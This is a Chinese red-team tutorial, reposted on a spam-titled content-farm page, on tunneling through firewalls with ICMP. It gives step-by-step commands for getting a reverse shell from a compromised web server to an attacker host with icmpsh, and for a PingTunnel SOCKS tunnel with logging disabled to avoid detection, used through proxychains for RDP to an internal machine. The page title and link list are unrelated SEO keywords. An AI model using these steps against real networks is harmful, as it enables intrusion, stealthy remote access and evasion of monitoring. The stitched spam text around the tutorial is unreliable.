必须在当地网站备案好用的wordpress插件推荐
- 作者: 五速梦信息网
- 时间: 2026年03月21日 10:07
当前位置: 首页 > news >正文
必须在当地网站备案,好用的wordpress插件推荐,淄博市 网站建设报价,沈阳男科医院哪家好收费合理内网穿透之利用ICMP协议进行隧道穿透 一.前言二.前文推荐三.利用ICMP协议进行隧道穿透1.ICMPsh获取反弹shell2.PingTunnel 搭建隧道 四.本篇总结 一.前言
本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口#xff0c;可以将TCP/UDP数据封装到ICMP的Ping数据… 内网穿透之利用ICMP协议进行隧道穿透 一.前言二.前文推荐三.利用ICMP协议进行隧道穿透1.ICMPsh获取反弹shell2.PingTunnel 搭建隧道 四.本篇总结 一.前言
本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口可以将TCP/UDP数据封装到ICMP的Ping数据包中绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例介绍了如何利用ICMP协议进行隧道穿透。
二.前文推荐
《红蓝攻防对抗实战》一. 隧道穿透技术详解 《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网 《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网 《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网 《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网 《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell 《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell 《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密 《红蓝攻防对抗实战》九.内网穿透之利用GRE协议进行隧道穿透 《红蓝攻防对抗实战》十.内网穿透之利用DNS协议进行隧道穿透 《红蓝攻防对抗实战》十一.内网穿透之利用SSH协议进行隧道穿透 ———————————————————————————————————————————— 三.利用ICMP协议进行隧道穿透
下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中从而绕过防火墙的限制攻击者可以利用较短的命令得到大量的ICMP响应常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。
1.ICMPsh获取反弹shell
ICMPsh是一个简单的反向ICMP shell与其他类似的开源工具相比它的主要优势在于不需要管理权限即可在目标主机上运行如图1-1所示的拓扑假设内网中发现Web服务器测试后其他协议方式无法进行隧道穿透探测其开放ICMP协议且获取到命令执行权限后可以尝试利用ICMP隧道工具进行后续操作。
图1-1 ICMP协议实验拓扑图 1首先在攻击机中执行echo 1 /proc/sys/net/ipv4/icmp_echo_ignore_all命令关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答为了防止内核自己对Ping数据包进行响应所以需要关闭系统的ICMP应答执行后如图1-2所示。
图1-2 关闭ping应答 2关闭ICMP应答后在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器如图1-3所示。这里注意的是攻击机需要使用Python 2的环境来安装python-impacket模块我们可以使用pip install impacket0.9.12命令或者官网下载模块安装。 图1-3攻击机连接服务器 3上述步骤操作完毕后上传icmpsh.exe工具到Web服务器在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机执行结果如图1-4所示。
图1-4 服务器执行连接命令 4此时攻击机已经成功获得Web服务器反弹的Shell权限如图1-5所示。
图1-5 通过ICMP隧道成功获得Web服务器Shell权限 2.PingTunnel 搭建隧道
PingTunnel工具是基于ICMP协议的开源的隧道工具其优点是使用简单它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发下面将会演示如何使用该工具进行隧道穿透该工具的具体使用详细参数如表1-1所示。
表1-1 PingTunne工具详细参数 参数作用-key设置的密码默认为 0-nolog不写日志文件只打印标准输出默认 0-noprint不打印屏幕输出默认 0-loglevel日志文件等级默认 info-maxconn最大连接数默认 0不受限制-maxprtserver 最大处理线程数默认 100-maxprbserver 最大处理线程 buffer 数默认 1000-connttserver 发起连接到目标地址的超时时间默认 1000ms-l本地的地址发到这个端口的流量将转发到服务器-s服务器的地址流量将通过隧道转发到这个服务器-t远端服务器转发的目的地址流量将转发到这个地址-timeout记录连接超时的时间单位是秒默认 60s-tcp设置是否转发 tcp默认 0-tcp_bstcp 的发送接收缓冲区大小默认 1MB-tcp_mwtcp 的最大窗口默认 20000-tcp_rsttcp 的超时发送时间默认 400ms-tcp_gz当数据包超过这个大小tcp 将压缩数据0 表示不压缩默认0-tcp_stat打印 tcp 的监控默认 0-sock5开启 sock5 转发默认 0-profile在指定端口开启性能检测默认 0 不开启-s5filtersock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发 假设在内网渗透中发现主机通过漏洞获取到系统控制权限在对其进一步探测时由于安全设备等方式的阻拦其他协议方式无法穿透这里仅开放ICMP协议我们可以尝试利用PingTunnel工具进行后续操作本次实验拓扑如图1-6所示本次实验环境表如1-2所示。
图1-6 ICMP协议实验拓扑图 表1-2 ICMP协议实验环境表 主机类型IP配置攻击机192.168.0.2Web服务器192.168.0.3192.168.52.2目标服务器192.168.52.3
1在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all1命令关闭ICMP应答防止接受本地的响应的ping数据包如图1-7所示。注意实验完成后如果要开启Icmp应答我们使用上面这条命令将值改为0即可开启icmp应答。
图1-7 攻击机关闭Icmp回复 2将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令即可在Web服务器开启服务端监听其中-noprint参数和-nolog参数是禁止产生日志文件如果不使用该参数执行则Web服务器就会生成大量的日志文件很容易被检测到执行成功后如图1-8所示。
图1-8 Web服务器开启服务端监听 3在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令去连接服务端这里攻击机将作为客户端连接Web服务器监听并设置本地的1080端口做为socks连接端口执行后如图1-9所示。
图1-9攻击机发起连接 4随后在攻击机中修改proxychains4.conf配置文件并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置如图1-10所示。 图1-10 修改proxychains配置文件 5当配置完proxychains代理后即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机如图1-11所示通过所建立的icmp协议隧道我们可以直接远程连接到目标服务器中。
图1-11 ICMP隧道连接成功 四.本篇总结
随着隧道技术的不断更新迭代越来越多的攻击者利用隧道技术攻击企业内网中在本篇文章中介绍了如何利用ICMP协议进行隧道穿透ICMP协议不需要开放端口可以将TCP/UDP数据封装到ICMP的Ping数据包中绕过防火墙限制。希望本篇对读者有用。
- 上一篇: 笔记本可以做网站吗江苏天宇建设集团官方网站
- 下一篇: 必要 网站重庆seo俱乐部
相关文章
-
笔记本可以做网站吗江苏天宇建设集团官方网站
笔记本可以做网站吗江苏天宇建设集团官方网站
- 技术栈
- 2026年03月21日
-
笔记本可以做网站吗好网站建设公司开发
笔记本可以做网站吗好网站建设公司开发
- 技术栈
- 2026年03月21日
-
比选三家网站建设公司外包工好还是派遣工好
比选三家网站建设公司外包工好还是派遣工好
- 技术栈
- 2026年03月21日
-
必要 网站重庆seo俱乐部
必要 网站重庆seo俱乐部
- 技术栈
- 2026年03月21日
-
必要是什么网站怎么识别一个网站
必要是什么网站怎么识别一个网站
- 技术栈
- 2026年03月21日
-
必应搜索引擎网站南阳seo网站建设费用
必应搜索引擎网站南阳seo网站建设费用
- 技术栈
- 2026年03月21日






